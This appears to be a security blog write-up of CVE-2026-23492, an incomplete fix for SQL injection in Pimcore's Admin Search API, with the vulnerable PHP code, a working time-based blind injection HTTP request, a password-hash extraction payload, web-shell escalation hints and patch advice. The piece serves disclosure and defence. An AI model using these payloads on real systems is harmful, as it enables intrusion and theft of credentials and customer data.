CVE-2026-23492: When 'Try-Catch' Becomes a Security Feature

There is a special place in security hell for incomplete patches. You know the type: a developer sees a vulnerability report, panics, and applies a band-aid that covers the symptom but ignores the disease. CVE-2026-23492 is the poster child for this phenomenon.

Back in 2023, Pimcore—a massive enterprise data management platform—was hit with CVE-2023-30848, a nasty SQL injection in the Admin Search API. The developers rushed a fix. They patted themselves on the back, marked the ticket as 'Resolved,' and moved on. But they didn't actually fix the SQL injection; they just made it quieter.

Fast forward to 2026, and here we are. The vulnerability is back, wearing a fake mustache, and it's angrier than before. This isn't just a story about bad code; it's a masterclass in why 'sanitization' via str_replace and error suppression is the security equivalent of turning up the radio to drown out the sound of your car engine exploding.

To understand CVE-2026-23492, we have to look at the 'fix' for its predecessor. The original issue was in the findAction method of the SearchController. The application takes a fields parameter from the user and concatenates it directly into a SQL query string. Classically bad.

The developers' response to the original disclosure was two-fold:

1. The Filter: They added str_replace('--', '', $fields). Their logic was simple: 'If hackers can't use the SQL comment sequence (--), they can't truncate the query, so they can't inject.'

2. The Mute Button: They wrapped the query execution in a try-catch block for SyntaxErrorException. If the query failed (because a hacker broke the syntax), the app would simply throw a generic 'Check your arguments' error instead of leaking database details.

This is hilariously insufficient. SQL doesn't need comments to be valid; attackers can simply balance the parentheses. And while the try-catch block successfully stopped Error-Based SQL Injection (where we read data from error messages), it did absolutely nothing to stop the query from executing. It just turned the vulnerability into a Blind SQL Injection.

Let's look at the vulnerable code that shipped with the 'fix' for CVE-2023-30848. This snippet resides in bundles/AdminBundle/Controller/Searchadmin/SearchController.php.

// The "Secure" Version (CVE-2026-23492)
if (!empty($allParams['fields'])) {
    $fields = $allParams['fields'];
    // The band-aid: attempting to stop comments
    $fields = str_replace('--', '', $fields);
 
    foreach ($fields as $f) {
        // Splitting by tilde, but $f is still user-controlled
        $parts = explode('~', $f);
        // ... logic that concatenates $parts into the query ...
    }
}
 
// ... later ...
 
try {
    // The execution
    $hits = $searcherList->load();
} catch (SyntaxErrorException $syntaxErrorException) {
    // The silencer
    throw new \InvalidArgumentException('Check your arguments.');
}

The vulnerability is the concatenation inside the loop (omitted for brevity, but it's there). The str_replace is trivial to bypass because we don't need comments if we construct a syntactically valid query. The catch block prevents us from seeing what broke, but if we inject SLEEP(10), the server still sleeps for 10 seconds. The code executes; it just doesn't complain loudly.

The real fix, applied in commit faf1168fb38bdba57e5c5cb7143997fca9b7680b, finally addresses the root cause by removing the ad-hoc concatenation entirely and validating field names against a strict schema.

Since we can't see the output (no error messages, no reflected data in the grid due to the query structure), we have to ask the database Yes/No questions or tell it to go to sleep. We'll use a Time-Based Blind approach.

The Setup: We are an authenticated admin (or an attacker who hijacked an admin session). We target the /admin/search/find endpoint.

The Payload: The application splits our input by ~. We need to inject into the field name. Since we can't use -- to ignore the rest of the query, we simply ensure our injection maintains valid SQL syntax for the surrounding query structure.

POST /admin/search/find HTTP/1.1
Host: target-pimcore.com
Cookie: PIMCORE_ADMIN_SID=...
Content-Type: application/x-www-form-urlencoded
 
fields[]=id~AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

The Execution:

1. The code receives id~AND (SELECT 1 FROM (SELECT(SLEEP(5)))a).
2. str_replace looks for --. Finds none. Passes.
3. The query builder constructs something like: SELECT * FROM objects WHERE field = id AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) ...
4. The database executes the SLEEP(5).
5. The web server hangs for 5 seconds before responding.

Boom. We have confirmation. From here, we script sqlmap or write a custom Python script to bit-shift extract the admin password hash character by character: AND (SELECT IF(ORD(MID((SELECT password FROM users LIMIT 1),1,1))=97,SLEEP(2),0)).

Why does this matter? "It requires admin authentication!" I hear the apologists cry. Yes, it does. But in modern enterprise environments, "Admin" is often a tiered role. A low-level content editor might have access to the Search function but not the User Management settings.

With this vulnerability, that low-privileged editor can dump the entire database. They can extract:

• User Credentials: Hashes of Super Admins.
• Customer PII: Addresses, emails, orders.
• Session IDs: Hijacking other active sessions.

Furthermore, because this is SQL injection, if the database user has FILE privileges (common in poor configurations), an attacker could read files off the disk (LOAD_FILE) or potentially write a web shell (INTO OUTFILE), turning a data leak into full Remote Code Execution (RCE).

Stop using str_replace for security. Just stop it. The mitigation is straightforward: Upgrade.

• If you are on v11: Upgrade to 11.5.14.
• If you are on v12: Upgrade to 12.3.1.

The patched versions replace the dynamic string building with proper query construction that essentially whitelists allowed fields or maps them strictly, ensuring that user input is never treated as executable SQL code.

If you cannot patch immediately (why?), you can attempt to block requests containing ~ AND SQL keywords (like SELECT, UNION, SLEEP) at your WAF level, but WAFs are notoriously bypassable. Patching is the only real cure.